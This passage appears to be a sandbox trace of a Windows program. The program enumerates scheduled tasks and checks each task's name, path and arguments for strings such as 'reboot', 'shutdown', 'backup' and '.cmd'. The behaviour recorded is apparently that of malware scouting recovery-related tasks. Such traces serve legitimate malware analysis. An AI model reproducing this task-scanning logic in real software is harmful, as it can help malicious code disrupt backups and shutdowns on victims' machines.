(_Str="pvrscheduletask", _SubStr=".cmd") returned 0x0 [0221.389] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f43d0) returned 1 [0221.389] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.394] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.394] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0221.394] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.394] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.394] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.394] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0221.394] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0221.394] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0221.394] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.394] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrSchedule") returned 0x0 [0221.394] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3db8 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr="reboot") returned 0x0 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr="restart") returned 0x0 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr="shutdown") returned 0x0 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr="logoff") returned 0x0 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr=".bat") returned 0x0 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr="backup") returned 0x0 [0221.394] wcsstr (_Str="-pvrschedule", _SubStr=".cmd") returned 0x0 [0221.394] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3db8) returned 1 [0221.394] IUnknown:Release (This=0x2463788) returned 0x2 [0221.394] IUnknown:Release (This=0x2463788) returned 0x1 [0221.394] IActionCollection:get_Item (in: This=0x24664d8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.395] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.395] IUnknown:Release (This=0x2463748) returned 0x1 [0221.395] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.395] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.395] IUnknown:Release (This=0x2466490) returned 0x0 [0221.395] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.395] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RecordingRestart") returned 0x0 [0221.395] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.396] IUnknown:Release (This=0x2466490) returned 0x0 [0221.396] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.396] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RegisterSearch") returned 0x0 [0221.396] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.398] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6f3e58 [0221.398] wcsstr (_Str="registersearch", _SubStr="reboot") returned 0x0 [0221.398] wcsstr (_Str="registersearch", _SubStr="restart") returned 0x0 [0221.398] wcsstr (_Str="registersearch", _SubStr="shutdown") returned 0x0 [0221.398] wcsstr (_Str="registersearch", _SubStr="logoff") returned 0x0 [0221.398] wcsstr (_Str="registersearch", _SubStr=".bat") returned 0x0 [0221.398] wcsstr (_Str="registersearch", _SubStr="backup") returned 0x0 [0221.398] wcsstr (_Str="registersearch", _SubStr=".cmd") returned 0x0 [0221.398] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e58) returned 1 [0221.398] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.402] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.402] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.402] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.402] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.402] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.402] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.402] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.402] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.402] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.402] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.402] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.402] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.402] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.403] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.403] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.403] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRegisterSearch $(Arg0)") returned 0x0 [0221.403] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="reboot") returned 0x0 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="restart") returned 0x0 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="shutdown") returned 0x0 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="logoff") returned 0x0 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".bat") returned 0x0 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="backup") returned 0x0 [0221.403] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".cmd") returned 0x0 [0221.403] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.403] IUnknown:Release (This=0x2463748) returned 0x2 [0221.403] IUnknown:Release (This=0x2463748) returned 0x1 [0221.403] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.403] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.403] IUnknown:Release (This=0x2466490) returned 0x0 [0221.403] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.403] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ReindexSearchRoot") returned 0x0 [0221.403] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.405] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr="reboot") returned 0x0 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr="restart") returned 0x0 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr="shutdown") returned 0x0 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr="logoff") returned 0x0 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr=".bat") returned 0x0 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr="backup") returned 0x0 [0221.405] wcsstr (_Str="reindexsearchroot", _SubStr=".cmd") returned 0x0 [0221.405] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.405] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.409] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.409] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.409] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.409] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.409] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.409] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.410] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.410] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.410] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.410] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoReindexSearchRoot") returned 0x0 [0221.410] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6cab08 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr="reboot") returned 0x0 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr="restart") returned 0x0 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr="shutdown") returned 0x0 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr="logoff") returned 0x0 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr=".bat") returned 0x0 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr="backup") returned 0x0 [0221.410] wcsstr (_Str="/doreindexsearchroot", _SubStr=".cmd") returned 0x0 [0221.410] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.410] IUnknown:Release (This=0x2463748) returned 0x2 [0221.410] IUnknown:Release (This=0x2463748) returned 0x1 [0221.410] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.410] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.410] IUnknown:Release (This=0x2466490) returned 0x0 [0221.410] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.410] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SqlLiteRecoveryTask") returned 0x0 [0221.410] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.412] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr="restart") returned 0x0 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr="backup") returned 0x0 [0221.412] wcsstr (_Str="sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0221.412] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.412] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.418] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.419] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0221.419] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.419] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.419] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.419] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0221.419] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0221.419] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0221.419] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.419] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-SqlLiteRecoveryTask") returned 0x0 [0221.419] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6cab08 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr="restart") returned 0x0 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr="backup") returned 0x0 [0221.419] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0221.419] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.419] IUnknown:Release (This=0x2463748) returned 0x2 [0221.419] IUnknown:Release (This=0x2463748) returned 0x1 [0221.419] IActionCollection:get_Item (in: This=0x24664d8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.419] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.419] IUnknown:Release (This=0x2463788) returned 0x1 [0221.419] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.419] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.420] IUnknown:Release (This=0x2466490) returned 0x0 [0221.420] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.420] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateRecordPath") returned 0x0 [0221.420] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.421] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr="reboot") returned 0x0 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr="restart") returned 0x0 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr="shutdown") returned 0x0 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr="logoff") returned 0x0 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr=".bat") returned 0x0 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr="backup") returned 0x0 [0221.421] wcsstr (_Str="updaterecordpath", _SubStr=".cmd") returned 0x0 [0221.421] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.421] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.426] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.426] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.426] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.426] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.426] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.426] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.426] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.426] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.427] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.427] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoUpdateRecordPath $(Arg0)") returned 0x0 [0221.427] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="reboot") returned 0x0 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="restart") returned 0x0 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="shutdown") returned 0x0 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="logoff") returned 0x0 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".bat") returned 0x0 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="backup") returned 0x0 [0221.427] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".cmd") returned 0x0 [0221.427] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.427] IUnknown:Release (This=0x2463788) returned 0x2 [0221.427] IUnknown:Release (This=0x2463788) returned 0x1 [0221.427] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.427] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.427] IUnknown:Release (This=0x2466490) returned 0x0 [0221.427] IUnknown:Release (This=0x2463648) returned 0x0 [0221.427] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466448) returned 0x0 [0221.428] ITaskFolderCollection:get_Count (in: This=0x2466448, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0221.428] ITaskFolderCollection:get_Item (in: This=0x2466448, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0221.428] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2463648) returned 0x0 [0221.429] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0221.429] IUnknown:Release (This=0x2463648) returned 0x0 [0221.429] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x24664d8) returned 0x0 [0221.429] ITaskFolderCollection:get_Count (in: This=0x24664d8, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0221.429] IUnknown:Release (This=0x24664d8) returned 0x0 [0221.429] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0221.429] IUnknown:Release (This=0x2466448) returned 0x0 [0221.429] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.429] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.429] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.430] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.430] IUnknown:Release (This=0x2463648) returned 0x0 [0221.430] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.431] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.431] IUnknown:Release (This=0x2466400) returned 0x0 [0221.431] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.431] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.431] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.432] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.432] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.432] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="HotStart") returned 0x0 [0221.432] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.434] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0221.434] wcsstr (_Str="hotstart", _SubStr="reboot") returned 0x0 [0221.434] wcsstr (_Str="hotstart", _SubStr="restart") returned 0x0 [0221.434] wcsstr (_Str="hotstart", _SubStr="shutdown") returned 0x0 [0221.434] wcsstr (_Str="hotstart", _SubStr="logoff") returned 0x0 [0221.434] wcsstr (_Str="hotstart", _SubStr=".bat") returned 0x0 [0221.434] wcsstr (_Str="hotstart", _SubStr="backup") returned 0x0 [0221.434] wcsstr (_Str="hotstart", _SubStr=".cmd") returned 0x0 [0221.434] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0221.434] IRegisteredTask:get_Definition (in: This=0x2466448, ppDefinition=0x5cfa08 | out: 